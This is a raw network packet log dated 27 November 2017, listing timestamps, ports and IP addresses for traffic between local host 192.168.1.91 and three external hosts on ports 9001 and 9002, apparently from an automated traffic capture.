Nov 27, 2017 12:35:38.819575071 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.820193052 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.820211887 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.820564985 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.820589066 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.820693970 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:38.820713043 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:38.821893930 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.821918011 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.821993113 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.822012901 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.824327946 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.824352026 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.824431896 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.824453115 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.825113058 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.825136900 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.825216055 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.825236082 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.865613937 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.865648985 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.865732908 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.865755081 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.882896900 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.882940054 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.883181095 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.883198023 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.883445978 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.883465052 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.883877039 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.883898973 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.883972883 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.883996964 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.887793064 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.887819052 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.890002012 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.890033960 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.890074015 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.890120029 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.890131950 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.890475035 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.892308950 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.892333984 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.892354965 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.892592907 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.893270016 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.893301964 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.893312931 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.893435001 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.893456936 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.893591881 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.893609047 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.893789053 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.893968105 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.893981934 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.897084951 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.897109032 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.897121906 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.897131920 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.897186041 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.897231102 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.897250891 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.897762060 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:38.899467945 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.899492025 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.899503946 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.899620056 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.899645090 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.899694920 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:38.899770021 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:39.061213970 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:39.112786055 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:39.112828970 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:39.263639927 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:39.264133930 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:39.371633053 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:39.451654911 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:39.585532904 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:39.664208889 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:39.991621017 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:39.991800070 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:40.039186001 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.039218903 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.039231062 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.039413929 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.046578884 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.046597958 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.046614885 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.046772003 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.048052073 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.048075914 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.048088074 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.048204899 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.057550907 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.086383104 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.086410046 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.086545944 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.086569071 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.127631903 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:40.128016949 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:40.128495932 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.128525972 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.128865957 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.128906012 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.135282993 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.135313988 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.135430098 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.135461092 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.142750978 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.142780066 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.142889023 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.142915964 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.167932987 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.167964935 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.168191910 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.168207884 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.214751959 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.214782000 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.214896917 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.214930058 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.221822977 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.221865892 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.222016096 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.222047091 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.229037046 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.229063034 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.229432106 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.229463100 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.251743078 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.251775980 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.252137899 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.252171993 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.286520004 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.286564112 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.286572933 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.286725998 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.286760092 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.287194967 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.287220955 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.287549019 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.287575006 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.296118021 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.296139956 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.296153069 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.296312094 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.296328068 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.296432972 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.296457052 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.370296955 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.370328903 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.370615005 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.370641947 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.377548933 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.377573013 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.377897978 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.377923012 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.383205891 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.383234024 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.383626938 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.603620052 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.807619095 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:40.807940006 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:40.823617935 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.824096918 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.998811960 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:40.998852015 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:40.998862982 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:40.998989105 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:40.999288082 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.999314070 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.999320984 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:40.999396086 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:40.999809980 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:40.999841928 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:40.999850035 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:40.999882936 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:40.999888897 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:40.999903917 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:40.999910116 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:40.999913931 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:40.999919891 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:40.999926090 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:40.999942064 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000041962 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.000057936 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000065088 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000071049 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000077009 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000082970 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000087976 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000093937 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000098944 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000173092 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000197887 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000274897 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:41.000288010 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000297070 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000302076 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000308037 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000313997 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000319958 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000325918 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000330925 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000422001 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.000435114 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.000442982 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.000448942 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.000561953 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.000576019 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000593901 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000600100 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000606060 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000612020 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000616074 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000621080 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000627041 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000632048 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000638008 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.000665903 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:41.000674963 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000682116 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000688076 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000694990 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000699997 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000705004 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000710964 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000716925 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.000740051 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.001046896 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.001070976 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001079082 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001085997 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001091003 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001097918 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001101017 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001105070 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001122952 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001128912 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001135111 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001254082 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.001266956 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.001274109 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.001280069 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.001285076 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.001291037 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.001296043 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.001302004 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.001307964 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.001313925 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.001321077 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.001339912 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:41.001348972 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.001355886 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.001360893 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.001367092 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.001373053 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.001379013 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.001385927 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.001390934 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.001410007 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.001419067 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001427889 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001430988 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001435041 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001439095 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001441956 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001446009 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001449108 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001452923 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001456976 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001483917 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.001975060 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.002135038 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.002149105 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.002157927 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.002162933 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.002185106 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:41.002193928 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002201080 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002207041 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002213001 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002218008 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002223015 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002228022 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002233982 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002249956 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.002259016 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.002265930 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.002271891 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.002278090 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.002283096 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.002286911 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.002291918 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.002299070 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.002304077 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.002306938 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.002311945 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.002733946 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.002748013 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.002909899 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.002929926 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:41.002939939 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002947092 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002953053 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002955914 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002960920 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002964973 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002981901 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.002999067 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.003006935 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.003015041 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.003020048 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.003026962 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.003032923 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.003038883 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.003046036 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.003057003 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.003062010 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.003068924 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.003973961 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.004090071 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:41.004110098 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.004991055 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:41.005006075 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.005436897 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.005461931 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.007446051 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:41.007472038 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.007730961 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.007745981 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.007755995 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.007761955 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.007879019 CET	49183	9001	192.168.1.91	54.36.205.38
